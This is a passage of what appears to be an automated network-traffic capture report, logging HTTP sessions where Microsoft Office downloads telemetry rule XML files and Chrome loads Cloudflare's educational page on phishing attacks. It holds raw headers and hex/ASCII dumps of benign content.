90	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:44 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 6747bc6b-c01e-0066-50d8-1ea1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155644Z-r197bdfb6b42sc4ddemybqpm1400000008eg00000000ngwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:44 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e480f9bd-101e-0017-1cd8-1e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155644Z-r197bdfb6b4kq4j58bsux2hzu000000004qg00000000h0tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:44 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:44 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: feceab2e-401e-0016-43d8-1e53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155644Z-16b659b4499z4tq4vyreufa8gn00000004z000000000q9a0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:44 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:45 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:45 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:45 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 9004b710-501e-005b-4cd8-1ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155645Z-r197bdfb6b4b582bwynewx7zgn00000000e0000000006y6d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:45 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:45 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:45 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:45 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: caad41a3-c01e-0034-68d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155645Z-15b8d89586f8nxpt6pvtkfw3pg0000000270000000009agh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:45 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:45 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:45 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 619e0788-b01e-005c-44d8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155645Z-16b659b4499z4tq4vyreufa8gn000000055g0000000003wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:45 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:45 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:45 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:45 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fe1cb938-601e-00ab-39d8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155645Z-16b659b44994sn4705n0hqcu3c000000068000000000kpra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:45 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49822	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:45 UTC	747	OUT	GET /learning/access-management/phishing-attack/ HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://earthheros.com.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:46 UTC	1220	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US x-RM: GW X-XSS-Protection: 1; mode=block Set-Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; path=/; expires=Wed, 16-Oct-24 16:26:46 GMT; domain=.www.cloudflare.com; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mpHaRa4%2BLKx0qLe1oN1f%2FmAoXma6WX4AcO4T6qPqtAUymwKbkF3jMO9ahxBZEKEHrR0J7H7D8%2BnL1TEBAKGelR9uzQxGwaponkY0DLU49gynh05T0wexwrl2nddxFL8q8bu9gA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393da2c84a4743-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 37 66 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 72 65 64 77 6f 6f 64 3d 7b 22 63 6f 6e 73 65 6e 74 47 72 6f 75 70 73 22 3a 7b 22 43 30 30 30 31 22 3a 74 72 75 65 2c 22 43 30 30 30 32 22 3a 74 72 75 65 2c 22 43 30 30 30 33 22 3a 74 72 75 65 2c 22 43 30 30 30 34 22 3a 74 72 75 65 7d 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 63 6f 6c 6f 22 3a 22 44 46 57 22 2c 22 75 73 65 72 22 3a 6e 75 6c 6c 2c 22 72 76 31 22 3a 22 62 68 71 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 7d 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a Data Ascii: 7fad<!DOCTYPE html><html lang="en-us"><head><script>window.redwood={"consentGroups":{"C0001":true,"C0002":true,"C0003":true,"C0004":true},"country":"US","colo":"DFW","user":null,"rv1":"bhq","locale":"en-US"}</script> <script type="text/javascript">
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 3d 3d 20 27 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2d 63 6e 2e 63 6f 6d 27 29 20 7b 0a 20 20 20 20 20 20 69 66 20 28 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 27 6c 61 6e 67 50 72 65 66 65 72 65 6e 63 65 27 29 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 27 6c 61 6e 67 50 72 65 66 65 72 65 6e 63 65 27 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 21 3d 20 27 65 6e 2d 75 73 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6c 61 6e 67 50 72 65 66 65 72 65 6e 63 65 20 3d 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 27 6c 61 6e 67 50 72 65 66 65 72 65 6e 63 65 27 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 20 20 20 20 20 Data Ascii: == 'www.cloudflare-cn.com') { if (localStorage.getItem('langPreference')) { if (localStorage.getItem('langPreference').toLowerCase() != 'en-us') { const langPreference = localStorage.getItem('langPreference').toLowerCase();
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 68 61 6e 73 2d 63 6e 2c 20 73 77 69 74 63 68 20 74 6f 20 7a 68 2d 63 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 72 65 64 69 72 65 63 74 50 61 74 68 20 3d 20 67 65 74 50 61 74 68 46 72 6f 6d 4c 6f 63 61 6c 65 28 6d 61 79 62 65 4c 6f 63 61 6c 65 2c 20 72 65 71 75 65 73 74 65 64 4c 61 6e 67 43 6f 64 65 2c 20 73 70 6c 69 74 50 61 74 68 53 74 72 69 6e 67 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 72 65 64 69 72 65 63 74 50 61 74 68 20 26 26 20 21 69 67 6e 6f 72 65 4c 69 73 74 2e 69 6e 63 6c 75 64 65 73 28 6d 61 79 62 65 4c 6f 63 61 6c 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 27 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f Data Ascii: hans-cn, switch to zh-cn const redirectPath = getPathFromLocale(maybeLocale, requestedLangCode, splitPathString); if (redirectPath && !ignoreList.includes(maybeLocale)) { window.location.replace('https://' + window.lo
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 76 33 37 2f 32 4f 54 72 43 66 75 4e 42 74 79 77 69 73 69 32 78 66 42 50 56 70 2f 64 35 34 61 38 34 39 34 39 30 39 31 61 65 64 32 31 35 36 30 30 62 34 32 62 62 34 37 65 64 33 65 2f 73 65 63 75 72 69 74 79 2d 6c 63 2e 70 6e 67 22 20 64 61 74 61 2d 67 61 74 73 62 79 2d 68 65 61 64 3d 22 74 72 75 65 22 20 2f 3e 3c 6d 65 74 61 20 69 64 3d 22 74 77 69 74 74 65 72 2d 64 65 73 63 72 69 70 74 69 6f 6e 22 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 50 68 69 73 68 69 6e 67 20 61 74 74 61 63 6b 73 20 69 6e 76 6f 6c 76 65 64 20 74 72 69 63 6b 69 6e 67 20 61 20 76 69 63 74 69 6d 20 69 6e 74 6f 20 74 61 6b 69 6e 67 20 73 6f 6d 65 20 61 63 74 69 6f 6e 20 74 68 61 74 20 62 65 6e 65 66 69 74 73 20 74 68 65 Data Ascii: v37/2OTrCfuNBtywisi2xfBPVp/d54a84949091aed215600b42bb47ed3e/security-lc.png" data-gatsby-head="true" /><meta id="twitter-description" name="twitter:description" content="Phishing attacks involved tricking a victim into taking some action that benefits the
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 20 6c 69 3e 73 70 61 6e 3e 73 70 61 6e 20 70 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 72 69 63 68 2d 74 65 78 74 2d 72 65 6e 64 65 72 65 72 20 74 61 62 6c 65 20 74 68 20 73 70 61 6e 2e 66 77 37 7b 63 6f 6c 6f 72 3a 23 66 36 33 7d 2e 72 69 63 68 2d 74 65 78 74 2d 72 65 6e 64 65 72 65 72 20 74 61 62 6c 65 20 74 64 20 70 2e 62 6c 61 63 6b 2e 66 33 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 70 61 64 64 69 6e 67 3a 32 65 6d 20 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 30 70 78 29 7b 2e 73 74 69 63 6b 79 2d 72 69 63 68 2d 74 65 78 74 2d 72 65 6e 64 65 72 65 72 7b 6d 61 78 2d 68 65 69 67 68 74 3a 37 30 30 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 73 Data Ascii: li>span>span p:last-child{margin-bottom:0}.rich-text-renderer table th span.fw7{color:#f63}.rich-text-renderer table td p.black.f3{margin-bottom:0;padding:2em 0}@media screen and (min-width:1000px){.sticky-rich-text-renderer{max-height:700px;overflow-y:s
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 72 65 2d 63 61 72 64 20 2e 6f 6c 2d 74 65 78 74 7b 70 61 64 64 69 6e 67 3a 32 35 70 78 7d 2e 66 65 61 74 75 72 65 2d 63 61 72 64 20 2e 6f 6c 2d 74 65 78 74 5f 5f 73 75 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 7d 2e 66 65 61 74 75 72 65 2d 63 61 72 64 20 2e 6f 6c 2d 74 65 78 74 5f 5f 74 65 78 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 34 72 65 6d 7d 7d 2e 65 6c 65 6d 65 6e 74 2d 72 65 73 6f 75 72 63 65 2d 63 61 72 64 2d 73 68 61 64 6f 77 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 34 70 78 20 31 30 70 78 20 23 30 30 30 30 30 30 31 66 7d 2e 65 6c 65 6d 65 6e 74 2d 72 65 73 6f 75 72 63 65 2d 63 61 72 64 7b 68 65 69 67 68 74 3a 31 30 30 Data Ascii: re-card .ol-text{padding:25px}.feature-card .ol-text__sup{font-size:1.2rem;margin-bottom:15px}.feature-card .ol-text__text{font-size:2.5rem;line-height:2.4rem}}.element-resource-card-shadow{box-shadow:0 4px 10px #0000001f}.element-resource-card{height:100
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 31 70 78 29 7b 2e 62 6c 61 64 65 2d 63 61 72 64 2d 63 61 72 6f 75 73 65 6c 2d 77 72 61 70 70 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 61 75 74 6f 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 30 70 78 29 7b 2e 62 6c 61 64 65 2d 63 61 72 64 2d 63 61 72 6f 75 73 65 6c 2d 77 72 61 70 70 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 7d 7d 2e 62 6c 61 64 65 2d 63 61 72 64 2d 63 61 72 6f 75 73 65 6c 2d 77 72 61 70 70 65 72 20 2e 73 6c 69 64 65 7b 6d 61 72 67 69 6e 3a 32 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 35 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 31 70 78 Data Ascii: nd (max-width:1001px){.blade-card-carousel-wrapper{background-size:auto}}@media 